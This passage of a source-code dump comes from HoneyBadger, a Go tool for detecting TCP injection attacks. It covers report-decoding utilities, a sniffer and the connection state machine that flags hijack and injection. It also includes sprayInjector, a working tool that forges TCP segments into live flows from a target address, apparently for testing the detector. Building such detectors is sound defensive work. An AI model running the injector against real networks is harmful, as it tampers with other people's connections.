fmt.Print("Overlapping portion of reassembled TCP Stream:\n") for i := 0; i < len(aLines); i++ { if aLines[i] == bLines[i] { fmt.Println(aLines[i]) } else { fmt.Println(aLines[i]) } } fmt.Print("Injection packet whose contents did not coalesce into the TCP Stream:\n") for i := 0; i < len(aLines); i++ { if aLines[i] == bLines[i] { fmt.Println(bLines[i]) } else { fmt.Println(bLines[i]) } } } func expandReport(reportPath string) { fmt.Printf("attack report: %s\n", reportPath) file, err := os.Open(reportPath) if err != nil { panic(err) } defer file.Close() reader := bufio.NewReader(file) var line string line, err = reader.ReadString('\n') for err == nil { event := logging.SerializedEvent{} err = json.Unmarshal([]byte(line), &event) if err != nil { panic(err) } fmt.Printf("Event Type: %s\nFlow: %s\nTime: %s\n", event.Type, event.Flow, event.Time.UTC()) fmt.Printf("Packet Number: %d\n", event.PacketCount) fmt.Printf("HijackSeq: %d HijackAck: %d\nStart: %d End: %d\nBase Sequence: %d\n\n", event.HijackSeq, event.HijackAck, event.Start, event.End, event.Base) var payload []byte var overlap []byte overlap, err = base64.StdEncoding.DecodeString(event.Winner) if err != nil { panic(err) } payload, err = base64.StdEncoding.DecodeString(event.Loser) if err != nil { panic(err) } lineDiff(hex.Dump(overlap), hex.Dump(payload)) line, err = reader.ReadString('\n') } } func main() { var () flag.Parse() reports := flag.Args() for i := 0; i < len(reports); i++ { expandReport(reports[i]) } } ================================================ FILE: cmd/honeybadgerReportTool/tcp_port_distribution.py ================================================ #!/usr/bin/python import re import sys import os import argparse def count_distribution(filename, or_addr): port_map = {} count = 0 for line in open(filename): count += 1 m = re.search(' ([0-9.]+):([0-9]+)-(.+):([0-9]+)', line) if m is None: print "parse fail" sys.exit(-1) addr1 = m.group(1) addr2 = m.group(3) if addr1 == or_addr: dest_port = m.group(4) else: dest_port = m.group(2) if port_map.has_key(int(dest_port)): port_map[int(dest_port)] += 1 else: port_map[int(dest_port)] = 1 return port_map def main(): parser = argparse.ArgumentParser() parser.add_argument("or_addr", help="origin ipv4 address") parser.add_argument("total", help="total flows") parser.add_argument("attack", help="attack flows") args = parser.parse_args() total_map = count_distribution(args.total, args.or_addr) attack_map = count_distribution(args.attack, args.or_addr) #print attack_map #print total_map total_total = 0 for port in sorted(total_map.keys()): total_total += int(total_map[int(port)]) for port in sorted(attack_map.keys(), reverse=True): #if attack_map.has_key(port) and total_map.has_key(port): frequency = float(attack_map[int(port)]) / float(total_map[int(port)]) total_freq = float(total_map[int(port)]) / float(total_total) print "port %s frequency %s attacks %s total %s (expected %s)\n" % (port, frequency, attack_map[int(port)], total_map[int(port)], total_freq) for port in sorted(total_map.keys()): if total_map[port] > 0: print "port %s total %d" % (port, total_map[port]) if __name__ == '__main__': main() ================================================ FILE: cmd/honeybadgerReportToolColor/main.go ================================================ /* * HoneyBadger report deserialization tool * * Copyright (C) 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package main import ( "bufio" "flag" "fmt" "os" "strings" "encoding/base64" "encoding/hex" "encoding/json" "github.com/david415/HoneyBadger/logging" "github.com/fatih/color" ) func colorLineDiff(a, b string) { aLines := strings.Split(a, "\n") bLines := strings.Split(b, "\n") fmt.Print("Overlapping portion of reassembled TCP Stream:\n") for i := 0; i < len(aLines); i++ { if aLines[i] == bLines[i] { color.Blue(aLines[i]) } else { color.Green(aLines[i]) } } fmt.Print("Injection packet whose contents did not coalesce into the TCP Stream:\n") for i := 0; i < len(aLines); i++ { if aLines[i] == bLines[i] { color.Cyan(bLines[i]) } else { color.Red(bLines[i]) } } } func expandReport(reportPath string) { fmt.Printf("attack report: %s\n", reportPath) file, err := os.Open(reportPath) if err != nil { panic(err) } defer file.Close() reader := bufio.NewReader(file) var line string line, err = reader.ReadString('\n') for err == nil { event := logging.SerializedEvent{} err = json.Unmarshal([]byte(line), &event) if err != nil { panic(err) } fmt.Printf("Event Type: %s\nFlow: %s\nTime: %s\n", event.Type, event.Flow, event.Time.UTC()) fmt.Printf("Packet Number: %d\n", event.PacketCount) fmt.Printf("HijackSeq: %d HijackAck: %d\nStart: %d End: %d\nBase Sequence: %d\n\n", event.HijackSeq, event.HijackAck, event.Start, event.End, event.Base) var payload []byte var overlap []byte overlap, err = base64.StdEncoding.DecodeString(event.Winner) if err != nil { panic(err) } payload, err = base64.StdEncoding.DecodeString(event.Loser) if err != nil { panic(err) } colorLineDiff(hex.Dump(overlap), hex.Dump(payload)) line, err = reader.ReadString('\n') } } func main() { var () flag.Parse() reports := flag.Args() for i := 0; i < len(reports); i++ { expandReport(reports[i]) } } ================================================ FILE: cmd/sprayInjector/main.go ================================================ /* * rough but working prototype; probabalistic ordered coalesce TCP stream injector! * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package main import ( "flag" "fmt" "github.com/david415/HoneyBadger/attack" "github.com/david415/HoneyBadger/types" "github.com/google/gopacket" "github.com/google/gopacket/examples/util" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "log" "net" ) var iface = flag.String("i", "lo", "Interface to get packets from") var filter = flag.String("f", "tcp", "BPF filter for pcap") var snaplen = flag.Int("s", 65536, "SnapLen for pcap packet capture") var serviceIPstr = flag.String("d", "127.0.0.1", "target TCP flows from this IP address") var servicePort = flag.Int("e", 9666, "target TCP flows from this port") var coalesce1 = flag.Bool("coalesce1", true, "perform the TCP coalesce1 injection") var coalesce2 = flag.Bool("coalesce2", true, "perform the TCP coalesce2 injection") var spray = flag.Bool("spray", true, "perform the TCP sloppy probalistic injection") func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var ip6 layers.IPv6 var ip6extensions layers.IPv6ExtensionSkipper var tcp layers.TCP var payload gopacket.Payload decoded := make([]gopacket.LayerType, 0, 4) // target/track all TCP flows from this TCP/IP service endpoint trackedFlows := make(map[types.TcpIpFlow]int) serviceIP := net.ParseIP(*serviceIPstr) if serviceIP == nil { panic(fmt.Sprintf("non-ip target: %s\n", *serviceIPstr)) } ipv4_mode := false ipv6_mode := false if serviceIP.To4() != nil { log.Print("using ipv4 mode") ipv4_mode = true } else if len(serviceIP) == 16 { log.Print("using ipv6 mode") ipv6_mode = true } else { panic("wtf") } gap_payload := []byte("Many of these well-funded state/world-class adversaries are able to completely automate the compromising of computers using these TCP injection attacks against real people to violate their human rights.") attack_payload := []byte("Privacy is necessary for an open society in the electronic age. Privacy is not secrecy. A private matter is something one doesn't want the whole world to know, but a secret matter is something one doesn't want anybody to know. Privacy is the power to selectively reveal oneself to the world.") handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } streamInjector := attack.NewTCPStreamInjector(handle, ipv6_mode) if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload) flow := &types.TcpIpFlow{} log.Print("collecting packets...\n") for { data, ci, err := handle.ReadPacketData() if err != nil { log.Printf("error getting packet: %v %v", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } foundIPv6 := false foundIPv4 := false foundTcpLayer := false for _, typ := range decoded { switch typ { case layers.LayerTypeIPv4: foundIPv4 = true case layers.LayerTypeIPv6: foundIPv6 = true case layers.LayerTypeTCP: if foundIPv4 || foundIPv6 { foundTcpLayer = true } } // switch } // for if !foundTcpLayer { continue } if ipv4_mode && foundIPv6 { continue } if ipv6_mode && foundIPv4 { continue } if ipv4_mode { // if tcp.SrcPort != layers.TCPPort(*servicePort) || !ip4.SrcIP.Equal(serviceIP.To4()) { if tcp.SrcPort != layers.TCPPort(*servicePort) || !ip4.SrcIP.Equal(serviceIP) { continue } } else if ipv6_mode { if tcp.SrcPort != layers.TCPPort(*servicePort) || !ip6.SrcIP.Equal(serviceIP) { continue } } else { panic("wtf") } if foundIPv4 == true { flow = types.NewTcpIp4FlowFromLayers(ip4, tcp) } else if foundIPv6 == true { f := types.NewTcpIpFlowFromFlows(ip6.NetworkFlow(), tcp.TransportFlow()) flow = &f } else { panic("wtf") } _, isTracked := trackedFlows[*flow] if isTracked { trackedFlows[*flow] += 1 } else { trackedFlows[*flow] = 1 } // after some packets from a given flow then inject packets into the stream if trackedFlows[*flow] == 5 { streamInjector.SetEthernetLayer(ð) if ipv4_mode { streamInjector.SetIPv4Layer(ip4) } else if ipv6_mode { streamInjector.SetIPv6Layer(ip6) } else { panic("wtf") } if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) // choose which injection attack to perform if *coalesce1 { err = streamInjector.SprayFutureAndFillGapPackets(tcp.Seq, gap_payload, attack_payload, *coalesce1) } else if *coalesce2 { err = streamInjector.SprayFutureAndFillGapPackets(tcp.Seq, gap_payload, attack_payload, *coalesce2) } else if *spray { err = streamInjector.SpraySequenceRangePackets(tcp.Seq, 20) } if err != nil { panic(err) } log.Print("tcp injection sent!\n") } } } ================================================ FILE: cmd/testBpfSniffer/README ================================================ // this was briefly useful for debuging the gopacket bsdbpf packet capture api // as i was developing it package main import ( "fmt" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/bsdbpf" ) func main() { var err error var ci gopacket.CaptureInfo var frame []byte sniffer, err := bsdbpf.NewBPFSniffer("alc0", nil) if err != nil { panic(err) } for { frame,ci,err = sniffer.ReadPacketData() if err != nil { panic(err) } fmt.Printf("timeStamp %s\n", ci.Timestamp) packet := gopacket.NewPacket(frame, layers.LayerTypeEthernet, gopacket.Default) // Get the TCP layer from this packet if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { fmt.Println("This is a TCP packet!") // Get actual TCP data from this layer tcp, _ := tcpLayer.(*layers.TCP) fmt.Printf("From src port %d to dst port %d\n", tcp.SrcPort, tcp.DstPort) } // Iterate over all layers, printing out each layer type for _, layer := range packet.Layers() { fmt.Println("PACKET LAYER:", layer.LayerType()) } } } ================================================ FILE: connection.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package HoneyBadger import ( "log" "sync" "time" "github.com/david415/HoneyBadger/types" ) const ( // Stop looking for handshake hijack after several // packets have traversed the connection after entering // into TCP_DATA_TRANSFER state FIRST_FEW_PACKETS = 12 // TCP states TCP_UNKNOWN = 0 TCP_CONNECTION_REQUEST = 1 TCP_CONNECTION_ESTABLISHED = 2 TCP_DATA_TRANSFER = 3 TCP_CONNECTION_CLOSING = 4 TCP_INVALID = 5 TCP_CLOSED = 6 // initiating TCP closing finite state machine TCP_FIN_WAIT1 = 0 TCP_FIN_WAIT2 = 1 TCP_TIME_WAIT = 2 TCP_CLOSING = 3 // initiated TCP closing finite state machine TCP_CLOSE_WAIT = 0 TCP_LAST_ACK = 1 ) type ConnectionFactory interface { Build(ConnectionOptions) ConnectionInterface } type DefaultConnFactory struct { } func (f *DefaultConnFactory) Build(options ConnectionOptions) ConnectionInterface { conn := Connection{ packetCount: 0, ConnectionOptions: options, attackDetected: false, state: TCP_UNKNOWN, skipHijackDetectionCount: FIRST_FEW_PACKETS, clientNextSeq: types.InvalidSequence, serverNextSeq: types.InvalidSequence, ClientStreamRing: types.NewRing(options.MaxRingPackets), ServerStreamRing: types.NewRing(options.MaxRingPackets), clientFlow: &types.TcpIpFlow{}, serverFlow: &types.TcpIpFlow{}, } conn.ClientCoalesce = NewOrderedCoalesce(conn.AttackLogger, conn.clientFlow, conn.PageCache, conn.ClientStreamRing, conn.MaxBufferedPagesTotal, conn.MaxBufferedPagesPerConnection/2, conn.DetectCoalesceInjection, &conn.attackDetected) conn.ServerCoalesce = NewOrderedCoalesce(conn.AttackLogger, conn.serverFlow, conn.PageCache, conn.ServerStreamRing, conn.MaxBufferedPagesTotal, conn.MaxBufferedPagesPerConnection/2, conn.DetectCoalesceInjection, &conn.attackDetected) return &conn } type ConnectionInterface interface { Close() GetClientFlow() *types.TcpIpFlow SetPacketLogger(types.PacketLogger) GetLastSeen() time.Time ReceivePacket(*types.PacketManifest) } type PacketDispatcher interface { ReceivePacket(*types.PacketManifest) GetObservedConnectionsChan(int) chan bool Connections() []ConnectionInterface Stop() } type ConnectionOptions struct { MaxBufferedPagesTotal int MaxBufferedPagesPerConnection int MaxRingPackets int PageCache *pageCache LogDir string LogPackets bool AttackLogger types.Logger DetectHijack bool DetectInjection bool DetectCoalesceInjection bool } // Connection is used to track client and server flows for a given TCP connection. // We implement a basic TCP finite state machine and track state in order to detect // hanshake hijack and other TCP attacks such as segment veto and sloppy injection. type Connection struct { ConnectionOptions attackDetected bool packetCount uint64 skipHijackDetectionCount uint64 lastSeen time.Time lastSeenMutex sync.Mutex state uint8 clientState uint8 serverState uint8 clientFlow *types.TcpIpFlow serverFlow *types.TcpIpFlow closingFlow *types.TcpIpFlow closingRST bool closingFIN bool closingSeq types.Sequence clientNextSeq types.Sequence serverNextSeq types.Sequence hijackNextAck types.Sequence firstSynAckSeq uint32 ClientStreamRing *types.Ring ServerStreamRing *types.Ring ClientCoalesce *OrderedCoalesce ServerCoalesce *OrderedCoalesce PacketLogger types.PacketLogger } func (c *Connection) GetClientFlow() *types.TcpIpFlow { return c.clientFlow } func (c *Connection) SetPacketLogger(logger types.PacketLogger) { c.PacketLogger = logger } // GetLastSeen returns the lastSeen timestamp after grabbing the lock func (c *Connection) GetLastSeen() time.Time { c.lastSeenMutex.Lock() defer c.lastSeenMutex.Unlock() return c.lastSeen } // updateLastSeen updates our lastSeen with the new timestamp after grabbing the lock func (c *Connection) updateLastSeen(timestamp time.Time) { c.lastSeenMutex.Lock() defer c.lastSeenMutex.Unlock() if c.lastSeen.Before(timestamp) { c.lastSeen = timestamp } } // Close can be used by the the connection or the dispatcher to close the connection func (c *Connection) Close() { log.Print("Close()") if c.attackDetected == false { if c.PacketLogger != nil { log.Print("no attack detected. removing pcap logs") c.PacketLogger.Remove() } } else { if c.LogPackets { log.Print("attack detected; archiving connection's pcap logs\n") c.PacketLogger.Archive() } } c.ClientCoalesce.Close() c.ServerCoalesce.Close() if c.LogPackets { c.PacketLogger.Stop() c.PacketLogger = nil // just in case the state machine receives another packet... } } // detectHijack checks for duplicate SYN/ACK indicating handshake hijake // and submits a report if an attack was observed func (c *Connection) detectHijack(p *types.PacketManifest, flow *types.TcpIpFlow) { // check for duplicate SYN/ACK indicating handshake hijake if !flow.Equal(c.serverFlow) { return } if p.TCP.ACK && p.TCP.SYN { if types.Sequence(p.TCP.Ack).Difference(c.hijackNextAck) == 0 { if p.TCP.Seq != c.firstSynAckSeq { log.Print("handshake hijack detected\n") c.AttackLogger.Log(&types.Event{ Time: time.Now(), Type: "handshake-hijack", PacketCount: c.packetCount, Flow: *flow, HijackSeq: p.TCP.Seq, HijackAck: p.TCP.Ack}) c.attackDetected = true } else { log.Print("SYN/ACK retransmission\n") } } } } func (c *Connection) detectInjection(p *types.PacketManifest) { var ringPtr *types.Ring if p.Flow.Equal(c.clientFlow) { ringPtr = c.ServerStreamRing } else { ringPtr = c.ClientStreamRing } start := types.Sequence(p.TCP.Seq) end := types.Sequence(p.TCP.Seq).Add(len(p.Payload)) // injection detection events := checkForInjectionInRing(ringPtr, start, end, p.Payload) if len(events) == 0 { return } // log events if any for i := 0; i < len(events); i++ { if events[i] == nil { panic("wtf got nil event") } else { if len(events[i].Type) == 0 { events[i].Type = "segment veto or sloppy injection" } events[i].Base = types.Sequence(p.TCP.Seq) events[i].Time = p.Timestamp events[i].Flow = *p.Flow events[i].Payload = p.Payload events[i].PacketCount = c.packetCount c.AttackLogger.Log(events[i]) c.attackDetected = true log.Printf("injection detected in packet # %d\n", c.packetCount) } } } // stateUnknown gets called by our TCP finite state machine runtime // and moves us into the TCP_CONNECTION_REQUEST state if we receive // a SYN packet... otherwise TCP_DATA_TRANSFER state. func (c *Connection) stateUnknown(p *types.PacketManifest) { c.clientFlow = p.Flow f := p.Flow.Reverse() c.serverFlow = &f if p.TCP.SYN && !p.TCP.ACK { c.state = TCP_CONNECTION_REQUEST // Note that TCP SYN and SYN/ACK packets may contain payload data if // a TCP extension is used... // If so then the sequence number needs to track this payload. // For more information see: https://tools.ietf.org/id/draft-agl-tcpm-sadata-00.html c.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1) c.hijackNextAck = c.clientNextSeq } else { // else process a connection after handshake c.state = TCP_DATA_TRANSFER // skip handshake hijack detection completely c.skipHijackDetectionCount = 0 c.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1) if len(p.Payload) > 0 { reassembly := types.Reassembly{ Seq: types.Sequence(p.TCP.Seq), Bytes: []byte(p.Payload), Seen: p.Timestamp, } c.ServerStreamRing.Reassembly = &reassembly c.ServerStreamRing = c.ServerStreamRing.Next() c.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload)) } if p.TCP.FIN || p.TCP.RST { c.state = TCP_CLOSED c.closingFlow = p.Flow c.closingSeq = types.Sequence(p.TCP.Seq) return } } } // stateConnectionRequest gets called by our TCP finite state machine runtime // and moves us into the TCP_CONNECTION_ESTABLISHED state if we receive // a SYN/ACK packet. func (c *Connection) stateConnectionRequest(p *types.PacketManifest) { if !p.Flow.Equal(c.serverFlow) { log.Print("handshake anomaly") return } if !(p.TCP.SYN && p.TCP.ACK) { log.Print("handshake anomaly") return } if c.clientNextSeq.Difference(types.Sequence(p.TCP.Ack)) != 0 { log.Print("handshake anomaly") return } c.state = TCP_CONNECTION_ESTABLISHED c.serverNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1) // XXX see above comment about TCP extentions c.firstSynAckSeq = p.TCP.Seq } // stateConnectionEstablished is called by our TCP FSM runtime and // changes our state to TCP_DATA_TRANSFER if we receive a valid final // handshake ACK packet. func (c *Connection) stateConnectionEstablished(p *types.PacketManifest) { if !c.attackDetected { if c.DetectHijack { c.detectHijack(p, p.Flow) if c.attackDetected { return } } } if !p.Flow.Equal(c.clientFlow) { log.Print("handshake anomaly") return } if !p.TCP.ACK || p.TCP.SYN { log.Print("handshake anomaly") return } if types.Sequence(p.TCP.Seq).Difference(c.clientNextSeq) != 0 { log.Print("handshake anomaly") return } if types.Sequence(p.TCP.Ack).Difference(c.serverNextSeq) != 0 { log.Print("handshake anomaly") return } c.state = TCP_DATA_TRANSFER log.Printf("connected %s\n", c.clientFlow.String()) } // stateDataTransfer is called by our TCP FSM and processes packets // once we are in the TCP_DATA_TRANSFER state func (c *Connection) stateDataTransfer(p *types.PacketManifest) { var closerState, remoteState *uint8 var diff int isEnd := false if c.clientNextSeq == types.InvalidSequence && p.Flow.Equal(c.clientFlow) { c.clientNextSeq = types.Sequence(p.TCP.Seq) } else if c.serverNextSeq == types.InvalidSequence && p.Flow.Equal(c.serverFlow) { c.serverNextSeq = types.Sequence(p.TCP.Seq) } if c.packetCount < c.skipHijackDetectionCount { if c.DetectHijack { c.detectHijack(p, p.Flow) } } if p.Flow.Equal(c.clientFlow) { diff = c.clientNextSeq.Difference(types.Sequence(p.TCP.Seq)) closerState = &c.clientState remoteState = &c.serverState } else if p.Flow.Equal(c.serverFlow) { diff = c.serverNextSeq.Difference(types.Sequence(p.TCP.Seq)) closerState = &c.serverState remoteState = &c.clientState } else { log.Printf("packet flow %s clientflow %s serverflow %s\n", p.Flow, c.clientFlow, c.serverFlow) panic("wtf") } if diff == 0 { // contiguous if len(p.Payload) > 0 { reassembly := types.Reassembly{ Seq: types.Sequence(p.TCP.Seq), Bytes: []byte(p.Payload), Seen: p.Timestamp, } if p.Flow.Equal(c.clientFlow) { c.ServerStreamRing.Reassembly = &reassembly c.ServerStreamRing = c.ServerStreamRing.Next() c.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload)) prev := c.clientNextSeq c.clientNextSeq, isEnd = c.ServerCoalesce.addContiguous(c.clientNextSeq) if c.clientNextSeq != prev { reassembly.IsCoalesceGap = true } if isEnd { c.state = TCP_CLOSED return } } else { c.ClientStreamRing.Reassembly = &reassembly c.ClientStreamRing = c.ClientStreamRing.Next() c.serverNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload)) prev := c.serverNextSeq c.serverNextSeq, isEnd = c.ClientCoalesce.addContiguous(c.serverNextSeq) if c.serverNextSeq != prev { reassembly.IsCoalesceGap = true } if isEnd { c.state = TCP_CLOSED return } } } if p.TCP.RST { log.Print("got RST!\n") c.closingRST = true c.state = TCP_CLOSED c.closingFlow = p.Flow c.closingSeq = types.Sequence(p.TCP.Seq) return } if p.TCP.FIN { c.closingFIN = true c.closingFlow = p.Flow c.state = TCP_CONNECTION_CLOSING *closerState = TCP_FIN_WAIT1 *remoteState = TCP_CLOSE_WAIT return } } else if diff > 0 { // future-out-of-order packet case if p.Flow.Equal(c.clientFlow) { c.clientNextSeq, isEnd = c.ServerCoalesce.insert(p, c.clientNextSeq) } else { c.serverNextSeq, isEnd = c.ClientCoalesce.insert(p, c.serverNextSeq) } if isEnd { c.state = TCP_CLOSED c.closingFlow = p.Flow c.closingSeq = types.Sequence(p.TCP.Seq) } } } // stateFinWait1 handles packets for the FIN-WAIT-1 state //func (c *Connection) stateFinWait1(p *types.PacketManifest) { func (c *Connection) stateFinWait1(p *types.PacketManifest, flow *types.TcpIpFlow, nextSeqPtr *types.Sequence, nextAckPtr *types.Sequence, statePtr, otherStatePtr *uint8) { c.detectCensorInjection(p) diff := nextSeqPtr.Difference(types.Sequence(p.TCP.Seq)) if diff > 0 { // future out of order log.Print("FIN-WAIT-1: ignoring out of order packet") return } else if diff == 0 { if len(p.Payload) > 0 { reassembly := types.Reassembly{ Seq: types.Sequence(p.TCP.Seq), Bytes: []byte(p.Payload), Seen: p.Timestamp, } if p.Flow.Equal(c.clientFlow) { c.ServerStreamRing.Reassembly = &reassembly c.ServerStreamRing = c.ServerStreamRing.Next() c.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload)) c.clientNextSeq, _ = c.ServerCoalesce.addContiguous(c.clientNextSeq) } else { c.ClientStreamRing.Reassembly = &reassembly c.ClientStreamRing = c.ClientStreamRing.Next() c.serverNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload)) c.serverNextSeq, _ = c.ClientCoalesce.addContiguous(c.serverNextSeq) } } if p.TCP.ACK { *nextAckPtr += 1 if p.TCP.FIN { *statePtr = TCP_CLOSING *otherStatePtr = TCP_LAST_ACK *nextSeqPtr = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1) if types.Sequence(p.TCP.Ack).Difference(*nextAckPtr) != 0 { log.Printf("FIN-WAIT-1: unexpected ACK: got %d expected %d TCP.Seq %d\n", p.TCP.Ack, *nextAckPtr, p.TCP.Seq) c.closingFlow = p.Flow c.closingSeq = types.Sequence(p.TCP.Seq) return } } else { *statePtr = TCP_FIN_WAIT2 *nextSeqPtr = types.Sequence(p.TCP.Seq).Add(len(p.Payload)) } } else { log.Print("FIN-WAIT-1: non-ACK packet received.\n") c.closingFlow = p.Flow c.closingSeq = types.Sequence(p.TCP.Seq) return } } } // stateFinWait2 handles packets for the FIN-WAIT-2 state func (c *Connection) stateFinWait2(p *types.PacketManifest, flow *types.TcpIpFlow, nextSeqPtr *types.Sequence, nextAckPtr *types.Sequence, statePtr *uint8) { c.detectCensorInjection(p) diff := nextSeqPtr.Difference(types.Sequence(p.TCP.Seq)) if diff > 0 { // future out of order log.Print("FIN-WAIT-2: out of order packet received.\n") log.Printf("got TCP.Seq %d expected %d\n", p.TCP.Seq, *nextSeqPtr) } else if diff == 0 { // contiguous if p.TCP.ACK && p.TCP.FIN { *nextSeqPtr += 1 *statePtr = TCP_TIME_WAIT } } } // stateCloseWait represents the TCP FSM's CLOSE-WAIT state func (c *Connection) stateCloseWait(p *types.PacketManifest) { var nextSeqPtr *types.Sequence if p.Flow.Equal(c.clientFlow) { nextSeqPtr = &c.clientNextSeq } else { nextSeqPtr = &c.serverNextSeq } diff := types.Sequence(p.TCP.Seq).Difference(*nextSeqPtr) // stream overlap case if diff > 0 { if len(p.Payload) == 0 { c.detectCensorInjection(p) } } } // stateTimeWait represents the TCP FSM's CLOSE-WAIT state func (c *Connection) stateTimeWait(p *types.PacketManifest) { log.Print("TIME-WAIT: invalid protocol state\n") c.closingFlow = p.Flow c.closingSeq = types.Sequence(p.TCP.Seq) } // stateClosing represents the TCP FSM's CLOSING state func (c *Connection) stateClosing(p *types.PacketManifest) { log.Print("CLOSING: invalid protocol state\n") } // stateLastAck represents the TCP FSM's LAST-ACK state func (c *Connection) stateLastAck(p *types.PacketManifest, flow *types.TcpIpFlow, nextSeqPtr *types.Sequence, nextAckPtr *types.Sequence, statePtr *uint8) { if types.Sequence(p.TCP.Seq).Difference(*nextSeqPtr) == 0 { if p.TCP.ACK && (!p.TCP.FIN && !p.TCP.SYN) { if types.Sequence(p.TCP.Ack).Difference(*nextAckPtr) != 0 { log.Printf("LAST-ACK: out of order ACK packet received. seq %d != nextAck %d\n", p.TCP.Ack, *nextAckPtr) } } else { log.Print("LAST-ACK: protocol anamoly\n") } } else { log.Print("LAST-ACK: out of order packet received\n") log.Printf("LAST-ACK: out of order packet received; got %d expected %d\n", p.TCP.Seq, *nextSeqPtr) } c.state = TCP_CLOSED } func (c *Connection) detectCensorInjection(p *types.PacketManifest) { var attackType string if p.TCP.FIN || p.TCP.RST { // ignore "closing" retransmissions return } if len(p.Payload) == 0 { return } if c.closingRST { attackType = "censor-injection-RST_" } else if c.closingFIN { attackType = "censor-injection-FIN_" } else { attackType = "censor-injection-coalesce_" } if c.closingFlow != nil { if p.Flow.Equal(c.closingFlow) && types.Sequence(p.TCP.Seq).Difference(c.closingSeq) == 0 { attackType += "closing-sequence-overlap" } else { return } } else { return } event := types.Event{ Type: attackType, PacketCount: c.packetCount, Time: time.Now(), Flow: *p.Flow, Start: types.Sequence(p.TCP.Seq), } c.AttackLogger.Log(&event) c.attackDetected = true } func (c *Connection) stateClosed(p *types.PacketManifest) { var nextSeqPtr *types.Sequence if p.Flow.Equal(c.clientFlow) { nextSeqPtr = &c.clientNextSeq } else { nextSeqPtr = &c.serverNextSeq } if *nextSeqPtr != types.InvalidSequence { c.detectCensorInjection(p) } } // stateConnectionClosing handles all the closing states until the closed state has been reached. func (c *Connection) stateConnectionClosing(p *types.PacketManifest) { var nextSeqPtr *types.Sequence var nextAckPtr *types.Sequence var statePtr, otherStatePtr *uint8 if c.clientFlow.Equal(p.Flow) { statePtr = &c.clientState otherStatePtr = &c.serverState nextSeqPtr = &c.clientNextSeq nextAckPtr = &c.serverNextSeq } else { statePtr = &c.serverState otherStatePtr = &c.clientState nextSeqPtr = &c.serverNextSeq nextAckPtr = &c.clientNextSeq } if p.Flow.Equal(c.closingFlow) { switch *statePtr { case TCP_CLOSE_WAIT: c.stateCloseWait(p) case TCP_LAST_ACK: c.stateLastAck(p, p.Flow, nextSeqPtr, nextAckPtr, statePtr) } } else { switch *statePtr { case TCP_FIN_WAIT1: c.stateFinWait1(p, p.Flow, nextSeqPtr, nextAckPtr, statePtr, otherStatePtr) case TCP_FIN_WAIT2: c.stateFinWait2(p, p.Flow, nextSeqPtr, nextAckPtr, statePtr) case TCP_TIME_WAIT: c.stateTimeWait(p) case TCP_CLOSING: c.stateClosing(p) } } } // ReceivePacket implements a TCP finite state machine // which is loosely based off of the simplified FSM in this paper: // http://ants.iis.sinica.edu.tw/3bkmj9ltewxtsrrvnoknfdxrm3zfwrr/17/p520460.pdf // The goal is to detect all manner of content injection. func (c *Connection) ReceivePacket(p *types.PacketManifest) { c.updateLastSeen(p.Timestamp) if c.PacketLogger != nil { c.PacketLogger.WritePacket(p.RawPacket, p.Timestamp) } c.packetCount += 1 //log.Printf("packetCount %d\n", c.packetCount) if c.state != TCP_UNKNOWN { // detect injection var nextSeqPtr *types.Sequence if c.clientFlow.Equal(p.Flow) { nextSeqPtr = &c.clientNextSeq } else { nextSeqPtr = &c.serverNextSeq } diff := nextSeqPtr.Difference(types.Sequence(p.TCP.Seq)) if diff < 0 { // overlap if len(p.Payload) > 0 { c.detectInjection(p) } } } // simplified TCP state machine switch c.state { case TCP_UNKNOWN: c.stateUnknown(p) case TCP_CONNECTION_REQUEST: c.stateConnectionRequest(p) case TCP_CONNECTION_ESTABLISHED: c.stateConnectionEstablished(p) case TCP_DATA_TRANSFER: c.stateDataTransfer(p) case TCP_CONNECTION_CLOSING: c.stateConnectionClosing(p) case TCP_CLOSED: c.stateClosed(p) } } ================================================ FILE: connection_test.go ================================================ package HoneyBadger import ( "log" "net" "testing" "time" "github.com/david415/HoneyBadger/types" "github.com/google/gopacket" 